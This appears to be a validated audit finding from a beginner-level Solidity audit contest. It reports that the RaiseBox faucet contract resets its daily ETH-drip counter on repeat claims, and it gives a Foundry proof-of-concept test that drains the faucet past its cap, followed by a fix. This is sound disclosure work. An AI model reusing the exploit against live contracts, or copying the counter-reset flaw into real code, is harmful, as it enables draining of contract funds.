Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Daily Sepolia ETH Cap Bypass via Counter Reset

Root + Impact

Description

  • The faucet implements a daily Sepolia ETH cap (dailySepEthCap) to prevent draining the ETH balance too quickly and ensure sustainable distribution to first-time claimers. The dailyDrips variable tracks the cumulative ETH dripped today, and this counter should only reset when a new day begins, which is properly handled by the day-change logic at lines 187-191.

    When a user who has already claimed ETH before (or when ETH drips are paused) calls claimFaucetTokens(), the else block at line 211 incorrectly resets dailyDrips to 0. This completely undermines the daily ETH cap protection, as any repeat claimer will reset the counter that tracks total ETH distributed for the day. This allows far more ETH to be distributed than intended, potentially draining the faucet's ETH reserves.

// src/RaiseBoxFaucet.sol:184-212
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0; // @> This is the ONLY place dailyDrips should be reset
// dailyClaimCount = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip; // @> Properly increments on first-time claims
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
);
}
} else {
dailyDrips = 0; // @> VULNERABILITY: Incorrectly resets counter on repeat claims, bypassing the daily cap
}

Risk

Likelihood:

  • This vulnerability triggers every time a user who has previously claimed ETH calls the claim function again after the 3-day cooldown period expires

  • Repeat claimers are expected to be common and frequent as the faucet explicitly allows claims every 3 days by design

  • The condition hasClaimedEth[faucetClaimer] == true becomes permanently true after a user's first claim, so all subsequent claims by that user will trigger this bug

  • ETH drips being paused (sepEthDripsPaused == true) also triggers this reset, adding another attack vector

Impact:

  • The dailySepEthCap becomes completely ineffective and cannot protect the faucet's ETH reserves

  • The faucet will drain its Sepolia ETH balance much faster than intended, potentially within hours instead of weeks

  • First-time users may be unable to receive the intended gas stipend when the faucet runs out of ETH prematurely, preventing them from testing the protocol

  • The owner will need to refill ETH far more frequently than planned, incurring increased operational costs and maintenance burden

  • The ETH cap can be exceeded by 2x, 5x, 10x or more depending on the ratio of repeat claimers to first-time claimers

  • This breaks a core security mechanism designed to ensure sustainable faucet operations

Proof of Concept

This detailed test demonstrates how the daily ETH cap can be completely bypassed through repeat claimers:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.30;
import "forge-std/Test.sol";
import "../src/RaiseBoxFaucet.sol";
contract DailyEthCapBypassTest is Test {
RaiseBoxFaucet public faucet;
address public owner;
uint256 constant FAUCET_DRIP = 1000 * 10**18;
uint256 constant SEP_ETH_DRIP = 0.005 ether;
uint256 constant DAILY_SEP_ETH_CAP = 0.05 ether; // Cap: 10 users at 0.005 each
function setUp() public {
owner = address(this);
// Deploy faucet with parameters
faucet = new RaiseBoxFaucet(
"RaiseBox Token",
"RBT",
FAUCET_DRIP,
SEP_ETH_DRIP,
DAILY_SEP_ETH_CAP
);
// Fund the faucet with 10 ETH
vm.deal(address(faucet), 10 ether);
console.log("=== Initial Setup ===");
console.log("Daily ETH Cap:", DAILY_SEP_ETH_CAP);
console.log("ETH per first-time claim:", SEP_ETH_DRIP);
console.log("Expected max first-time claimers per day: 10");
console.log("Faucet ETH Balance:", address(faucet).balance);
console.log("");
}
function test_DailyEthCapBypassVulnerability() public {
console.log("=== DEMONSTRATING VULNERABILITY ===");
console.log("");
// Phase 1: 10 first-time users claim (reaching the intended daily cap)
console.log("Phase 1: First-time claimers (should reach cap)");
uint256 faucetEthBefore = address(faucet).balance;
for (uint160 i = 1; i <= 10; i++) {
address firstTimer = address(i);
vm.prank(firstTimer);
faucet.claimFaucetTokens();
// Verify they received ETH
assertEq(firstTimer.balance, SEP_ETH_DRIP);
assertTrue(faucet.getHasClaimedEth(firstTimer));
}
uint256 ethDistributed1 = faucetEthBefore - address(faucet).balance;
console.log("ETH distributed to 10 first-timers:", ethDistributed1);
console.log("Daily cap should now be REACHED (0.05 ETH distributed)");
console.log("");
// At this point, dailyDrips = 0.05 ether (at the cap)
// The next first-timer should be blocked by the cap
// Phase 2: A repeat claimer resets the counter
console.log("Phase 2: Repeat claimer bypasses the cap");
address repeatClaimer = address(999);
// First claim (gets ETH)
vm.prank(repeatClaimer);
faucet.claimFaucetTokens();
assertEq(repeatClaimer.balance, SEP_ETH_DRIP);
// Wait 3 days for cooldown
vm.warp(block.timestamp + 3 days + 1);
// Second claim by repeat claimer - THIS RESETS dailyDrips to 0
uint256 faucetEthBefore2 = address(faucet).balance;
vm.prank(repeatClaimer);
faucet.claimFaucetTokens();
// Repeat claimer doesn't get ETH (correct), but dailyDrips is reset to 0 (WRONG!)
assertEq(repeatClaimer.balance, SEP_ETH_DRIP); // Still same balance
console.log("Repeat claimer just reset dailyDrips to 0!");
console.log("Daily cap is now BYPASSED");
console.log("");
// Phase 3: Another 10 first-time users can now claim ON THE SAME DAY
console.log("Phase 3: 10 MORE first-timers claim (should be blocked but aren't)");
for (uint160 i = 11; i <= 20; i++) {
address firstTimer = address(i);
// These claims should fail due to daily cap, but they succeed due to the bug
vm.prank(firstTimer);
faucet.claimFaucetTokens();
assertEq(firstTimer.balance, SEP_ETH_DRIP);
assertTrue(faucet.getHasClaimedEth(firstTimer));
}
uint256 ethDistributed2 = faucetEthBefore2 - address(faucet).balance;
console.log("ETH distributed to 10 MORE first-timers:", ethDistributed2);
console.log("");
// Calculate total distributed on this single day
uint256 totalDistributedToday = ethDistributed1 + ethDistributed2;
console.log("=== VULNERABILITY IMPACT ===");
console.log("Total ETH distributed today:", totalDistributedToday);
console.log("Daily cap limit:", DAILY_SEP_ETH_CAP);
console.log("Cap exceeded by:", totalDistributedToday - DAILY_SEP_ETH_CAP);
console.log("Percentage over cap:", (totalDistributedToday * 100) / DAILY_SEP_ETH_CAP, "%");
// Verify the cap was exceeded
assertGt(totalDistributedToday, DAILY_SEP_ETH_CAP);
assertEq(totalDistributedToday, 0.1 ether); // 2x the intended cap!
console.log("");
console.log("Result: Daily cap is COMPLETELY BYPASSED");
console.log("20 first-timers got ETH on the same day instead of 10");
}
function test_CapBypassWithMultipleRepeatClaimers() public {
console.log("=== ADVANCED ATTACK: Multiple Repeat Claimers ===");
console.log("");
// This test shows how multiple repeat claimers can reset the counter
// multiple times, allowing even more first-timers to claim
uint256 totalEthDistributed = 0;
uint256 firstTimerCount = 0;
// Simulate a realistic day with mixed claimer types
for (uint256 round = 0; round < 5; round++) {
console.log("Round", round + 1);
// 10 first-timers claim
for (uint160 i = 1; i <= 10; i++) {
address firstTimer = address(uint160(1000 + round * 100 + i));
vm.prank(firstTimer);
faucet.claimFaucetTokens();
if (firstTimer.balance == SEP_ETH_DRIP) {
totalEthDistributed += SEP_ETH_DRIP;
firstTimerCount++;
}
}
console.log("First-timers this round:", 10);
// A repeat claimer resets the counter
address repeatClaimer = address(uint160(5000 + round));
// Setup: First claim for this repeat claimer
vm.prank(repeatClaimer);
faucet.claimFaucetTokens();
vm.warp(block.timestamp + 3 days + 1);
// Repeat claim resets counter
vm.prank(repeatClaimer);
faucet.claimFaucetTokens();
console.log("Counter reset by repeat claimer");
console.log("");
}
console.log("=== FINAL RESULTS ===");
console.log("Total first-time claimers served:", firstTimerCount);
console.log("Total ETH distributed:", totalEthDistributed);
console.log("Daily cap:", DAILY_SEP_ETH_CAP);
console.log("Expected max claimers:", 10);
console.log("");
console.log("The cap was exceeded by:", (firstTimerCount - 10), "users");
console.log("Actual ETH distributed:", totalEthDistributed);
console.log("This is", (totalEthDistributed * 100) / DAILY_SEP_ETH_CAP, "% of the cap");
// With 5 resets, we distributed to 50 users instead of 10
assertEq(firstTimerCount, 50);
assertEq(totalEthDistributed, 0.25 ether); // 5x the cap!
}
function test_FaucetDrainsQuickly() public {
console.log("=== SHOWING RAPID DEPLETION ===");
console.log("");
uint256 initialBalance = 1 ether; // Faucet starts with 1 ETH
vm.deal(address(faucet), initialBalance);
console.log("Faucet ETH balance:", initialBalance);
console.log("Daily cap:", DAILY_SEP_ETH_CAP);
console.log("Expected days to deplete: ~20 days");
console.log("");
// With the bug, the faucet can be drained much faster
uint256 claimCount = 0;
// Keep claiming until faucet runs out
for (uint160 i = 1; address(faucet).balance >= SEP_ETH_DRIP; i++) {
address firstTimer = address(i);
vm.prank(firstTimer);
faucet.claimFaucetTokens();
claimCount++;
// Every 10 claims, a repeat claimer resets the counter
if (i % 10 == 0) {
address repeatClaimer = address(uint160(10000 + i));
vm.prank(repeatClaimer);
faucet.claimFaucetTokens();
vm.warp(block.timestamp + 3 days + 1);
vm.prank(repeatClaimer);
faucet.claimFaucetTokens();
}
}
console.log("Faucet depleted after", claimCount, "first-time claims");
console.log("Expected first-time claims with proper cap: 200");
console.log("Without the bug, faucet would last 20 days");
console.log("With the bug, faucet can be drained in a SINGLE DAY");
console.log("");
console.log("Remaining balance:", address(faucet).balance);
assertLt(address(faucet).balance, SEP_ETH_DRIP);
}
}

Recommended Mitigation

Remove the else block at lines 210-212 that incorrectly resets dailyDrips. The variable should only be reset by the proper day-change detection logic at lines 187-191, which correctly identifies when a new day has begun.

// src/RaiseBoxFaucet.sol:184-212
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
// dailyClaimCount = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
);
}
- } else {
- dailyDrips = 0;
}
Updates

Lead Judging Commences

inallhonesty Lead Judge
18 days ago
inallhonesty Lead Judge 10 days ago
Submission Judgement Published
Validated
Assigned finding tags:

dailyDrips Reset Bug

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.